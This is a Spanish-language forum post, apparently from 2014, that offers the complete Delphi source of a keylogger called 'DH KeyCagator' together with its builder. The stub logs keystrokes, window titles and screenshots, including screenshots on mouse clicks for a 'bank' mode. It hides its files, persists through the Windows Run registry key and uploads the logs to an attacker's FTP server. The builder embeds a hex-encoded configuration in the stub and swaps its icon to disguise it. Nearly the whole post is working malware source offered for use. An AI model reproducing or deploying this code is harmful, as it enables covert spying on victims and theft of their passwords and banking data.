- Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
- Captura el nombre de la ventana actual
- Captura la pantalla
- Logs ordenados en un archivo HTML
- Se puede elegir el directorio en el que se guardan los Logs
- Se envia los logs por FTP
- Se oculta los rastros
- Se carga cada vez que inicia Windows
- Se puede usar shift+F9 para cargar los logs en la maquina infectada
- Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger
Una imagen :
Un video con un ejemplo de uso :
El codigo :
El Generador :
Código
// DH KeyCagator 1.0 // (C) Doddy Hackman 2014 // Keylogger Generator // Icon Changer based in : "IconChanger" By Chokstyle // Thanks to Chokstyle unit dhkey; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg, Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdFTP, ShellApi, MadRes; type TForm1 = class(TForm) Image1: TImage; StatusBar1: TStatusBar; PageControl1: TPageControl; TabSheet1: TTabSheet; GroupBox1: TGroupBox; GroupBox2: TGroupBox; RadioButton1: TRadioButton; RadioButton2: TRadioButton; ComboBox1: TComboBox; Edit2: TEdit; GroupBox3: TGroupBox; TabSheet2: TTabSheet; Edit1: TEdit; GroupBox4: TGroupBox; CheckBox1: TCheckBox; Edit3: TEdit; Label1: TLabel; TabSheet3: TTabSheet; GroupBox5: TGroupBox; GroupBox6: TGroupBox; CheckBox2: TCheckBox; Edit4: TEdit; Label2: TLabel; GroupBox7: TGroupBox; Label3: TLabel; Edit5: TEdit; Label4: TLabel; Edit7: TEdit; Label5: TLabel; Edit8: TEdit; Label6: TLabel; Edit6: TEdit; TabSheet4: TTabSheet; GroupBox8: TGroupBox; GroupBox9: TGroupBox; Label7: TLabel; Edit9: TEdit; Label8: TLabel; Edit11: TEdit; Label9: TLabel; Edit12: TEdit; Label10: TLabel; Edit10: TEdit; GroupBox10: TGroupBox; Button1: TButton; GroupBox12: TGroupBox; Button2: TButton; CheckBox3: TCheckBox; IdFTP1: TIdFTP; TabSheet6: TTabSheet; GroupBox11: TGroupBox; Image2: TImage; Memo1: TMemo; OpenDialog1: TOpenDialog; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} // Functions function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; // procedure TForm1.Button1Click(Sender: TObject); var i: integer; dir: string; busqueda: TSearchRec; begin IdFTP1.Host := Edit9.Text; IdFTP1.Username := Edit11.Text; IdFTP1.Password := Edit12.Text; dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\'; try begin FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda); DeleteFile(dir + '\' + busqueda.Name); while FindNext(busqueda) = 0 do begin DeleteFile(dir + '\' + busqueda.Name); end; FindClose(busqueda); rmdir(dir); end; except // end; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); try begin IdFTP1.Connect; IdFTP1.ChangeDir(Edit10.Text); IdFTP1.List('*.*', True); for i := 0 to IdFTP1.DirectoryListing.Count - 1 do begin IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName, IdFTP1.DirectoryListing.Items[i].FileName, False, False); end; ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL); IdFTP1.Disconnect; IdFTP1.Free; end; except // end; end; procedure TForm1.Button2Click(Sender: TObject); var lineafinal: string; savein_especial: string; savein: string; foldername: string; bankop: string; capture_op: string; capture_seconds: integer; ftp_op: string; ftp_seconds: integer; ftp_host_txt: string; ftp_user_txt: string; ftp_pass_txt: string; ftp_path_txt: string; aca: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; stubgenerado: string; op: string; change: DWORD; valor: string; begin if (RadioButton1.Checked = True) then begin savein_especial := '0'; if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then begin savein := 'USERPROFILE'; end else begin savein := ComboBox1.Items[ComboBox1.ItemIndex]; end; end; if (RadioButton2.Checked = True) then begin savein_especial := '1'; savein := Edit2.Text; end; foldername := Edit1.Text; if (CheckBox1.Checked = True) then begin capture_op := '1'; end else begin capture_op := '0'; end; capture_seconds := StrToInt(Edit3.Text) * 1000; if (CheckBox2.Checked = True) then begin ftp_op := '1'; end else begin ftp_op := '0'; end; if (CheckBox3.Checked = True) then begin bankop := '1'; end else begin bankop := '0'; end; ftp_seconds := StrToInt(Edit4.Text) * 1000; ftp_host_txt := Edit5.Text; ftp_user_txt := Edit7.Text; ftp_pass_txt := Edit8.Text; ftp_path_txt := Edit6.Text; lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op + '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' + '[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' + '[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]', 'encode') + '[63686175]'; aca := INVALID_HANDLE_VALUE; nose := 0; stubgenerado := 'keycagator_ready.exe'; DeleteFile(stubgenerado); CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True); StrCopy(code, PChar(lineafinal)); aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (aca <> INVALID_HANDLE_VALUE) then begin SetFilePointer(aca, 0, nil, FILE_END); WriteFile(aca, code, 9999, nose, nil); CloseHandle(aca); end; op := InputBox('Icon Changer', 'Change Icon ?', 'Yes'); if (op = 'Yes') then begin OpenDialog1.InitialDir := GetCurrentDir; if OpenDialog1.Execute then begin try begin valor := IntToStr(128); change := BeginUpdateResourceW (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' + stubgenerado)), False); LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar(wideString(OpenDialog1.FileName))); EndUpdateResourceW(change, False); StatusBar1.Panels[0].Text := '[+] Done '; StatusBar1.Update; end; except begin StatusBar1.Panels[0].Text := '[-] Error'; StatusBar1.Update; end; end; end else begin StatusBar1.Panels[0].Text := '[+] Done '; StatusBar1.Update; end; end else begin StatusBar1.Panels[0].Text := '[+] Done '; StatusBar1.Update; end; end; procedure TForm1.FormCreate(Sender: TObject); begin OpenDialog1.InitialDir := GetCurrentDir; OpenDialog1.Filter := 'ICO|*.ico|'; end; end. // The End ?
El stub.
Código
// DH KeyCagator 1.0 // (C) Doddy Hackman 2014 program keycagator; // {$APPTYPE CONSOLE} uses SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg; var nombrereal: string; rutareal: string; yalisto: string; registro: HKEY; dir: string; time: integer; dir_hide: string; time_screen: integer; time_ftp: integer; ftp_host: Pchar; ftp_user: Pchar; ftp_password: Pchar; ftp_dir: Pchar; carpeta: string; directorio: string; bankop: string; dir_normal: string; dir_especial: string; ftp_online: string; screen_online: string; activado: string; ob: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; todo: string; // Functions function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := Length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := Length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; procedure savefile(filename, texto: string); var ar: TextFile; begin try begin AssignFile(ar, filename); FileMode := fmOpenWrite; if FileExists(filename) then Append(ar) else Rewrite(ar); Write(ar, texto); CloseFile(ar); end; except // end; end; procedure upload_ftpfile(host, username, password, filetoupload, conestenombre: Pchar); // Credits : // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server // Thanks to Omair Iqbal var controluno: HINTERNET; controldos: HINTERNET; begin try begin controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); ftpPutFile(controldos, filetoupload, conestenombre, FTP_TRANSFER_TYPE_BINARY, 0); InternetCloseHandle(controldos); InternetCloseHandle(controluno); end except // end; end; procedure capturar_pantalla(nombre: string); // Function capturar() based in : // http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/ // http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm // http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi // Thanks to Zarko Gajic , Luthfi and Ken White var aca: HDC; tan: TRect; posnow: TPoint; imagen1: TBitmap; imagen2: TJpegImage; curnow: THandle; begin aca := GetWindowDC(GetDesktopWindow); imagen1 := TBitmap.Create; GetWindowRect(GetDesktopWindow, tan); imagen1.Width := tan.Right - tan.Left; imagen1.Height := tan.Bottom - tan.Top; BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0, SRCCOPY); GetCursorPos(posnow); curnow := GetCursor; DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0, DI_NORMAL); imagen2 := TJpegImage.Create; imagen2.Assign(imagen1); imagen2.CompressionQuality := 60; imagen2.SaveToFile(nombre); imagen1.Free; imagen2.Free; end; // procedure capturar_teclas; var I: integer; Result: Longint; mayus: integer; shift: integer; banknow: string; const n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57'); const t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); const n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105'); const t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); const n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193', '291', '220', '221', '222', '226'); const t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|'); const n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187', '188', '189', '190', '191', '192', '193', '219', '220', '221', '222', '226'); const t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]', '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\', ' / ', ' \ \ \ ', ']', '[', '~', '\/'); begin while (1 = 1) do begin Sleep(time); // Time try begin // Others for I := Low(n_raros) to High(n_raros) do begin Result := GetAsyncKeyState(StrToInt(n_raros[I])); If Result = -32767 then begin savefile('logs.html', t_raros[I]); if (bankop = '1') then begin if (t_raros[I] = '[mouse click]') then begin banknow := IntToStr(Random(10000)) + '.jpg'; capturar_pantalla(banknow); SetFileAttributes(Pchar(dir + '/' + banknow), FILE_ATTRIBUTE_HIDDEN); savefile('logs.html', '<br><br><center><img src=' + banknow + '></center><br><br>'); end; end; end; end; // SHIFT if (GetAsyncKeyState(VK_SHIFT) <> 0) then begin for I := Low(n_shift) to High(n_shift) do begin Result := GetAsyncKeyState(StrToInt(n_shift[I])); If Result = -32767 then begin savefile('logs.html', t_shift[I]); end; end; for I := 65 to 90 do begin Result := GetAsyncKeyState(I); If Result = -32767 then Begin savefile('logs.html', Chr(I + 0)); End; end; end; // Numbers for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do begin Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I])); If Result = -32767 then begin savefile('logs.html', t_numeros_derecha[I]); end; end; for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do begin Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I])); If Result = -32767 then begin savefile('logs.html', t_numeros_izquierda[I]); end; end; // MAYUS if (GetKeyState(20) = 0) then begin mayus := 32; end else begin mayus := 0; end; for I := 65 to 90 do begin Result := GetAsyncKeyState(I); If Result = -32767 then Begin savefile('logs.html', Chr(I + mayus)); End; end; end; except // end; end; end; procedure capturar_ventanas; var ventana1: array [0 .. 255] of Char; nombre1: string; Nombre2: string; // begin while (1 = 1) do begin try begin Sleep(time); // Time GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1)); nombre1 := ventana1; if not(nombre1 = Nombre2) then begin Nombre2 := nombre1; savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>'); end; end; except // end; end; end; procedure capturar_pantallas; var generado: string; begin while (1 = 1) do begin Sleep(time_screen); generado := IntToStr(Random(10000)) + '.jpg'; try begin capturar_pantalla(generado); end; except // end; SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN); savefile('logs.html', '<br><br><center><img src=' + generado + '></center><br><br>'); end; end; procedure subirftp; var busqueda: TSearchRec; begin while (1 = 1) do begin try begin Sleep(time_ftp); upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html')); FindFirst(dir + '*.jpg', faAnyFile, busqueda); upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name)); while FindNext(busqueda) = 0 do begin upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name)); end; end; except // end; end; end; procedure control; var I: integer; re: Longint; begin while (1 = 1) do begin try begin Sleep(time); if (GetAsyncKeyState(VK_SHIFT) <> 0) then begin re := GetAsyncKeyState(120); If re = -32767 then Begin ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL); End; end; end; except // end; End; end; // begin try // Config try begin // Edit ob := INVALID_HANDLE_VALUE; code := ''; ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (ob <> INVALID_HANDLE_VALUE) then begin SetFilePointer(ob, -9999, nil, FILE_END); ReadFile(ob, code, 9999, nose, nil); CloseHandle(ob); end; todo := regex(code, '[63686175]', '[63686175]'); todo := dhencode(todo, 'decode'); dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]')); directorio := regex(todo, '[save]', '[save]'); carpeta := regex(todo, '[folder]', '[folder]'); bankop := regex(todo, '[bank]', '[bank]'); screen_online := regex(todo, '[capture_op]', '[capture_op]'); time_screen := StrToInt(regex(todo, '[capture_seconds]', '[capture_seconds]')); ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]')); time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]')); ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]')); ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]')); ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]')); ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]')); dir_normal := dir_especial; time := 100; // Not Edit if (dir_normal = '1') then begin dir_hide := directorio; end else begin dir_hide := GetEnvironmentVariable(directorio) + '/'; end; dir := dir_hide + carpeta + '/'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); nombrereal := ExtractFileName(paramstr(0)); rutareal := dir; yalisto := dir + nombrereal; MoveFile(Pchar(paramstr(0)), Pchar(yalisto)); SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN); savefile(dir + '/logs.html', ''); SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN); savefile('logs.html', '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>'); RegCreateKeyEx(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil); RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666); RegCloseKey(registro); end; except // end; // End // Start the party BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^); BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^); if (screen_online = '1') then begin BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^); end; if (ftp_online = '1') then begin BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^); end; BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^); // Readln; while (1 = 1) do Sleep(time); except // end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.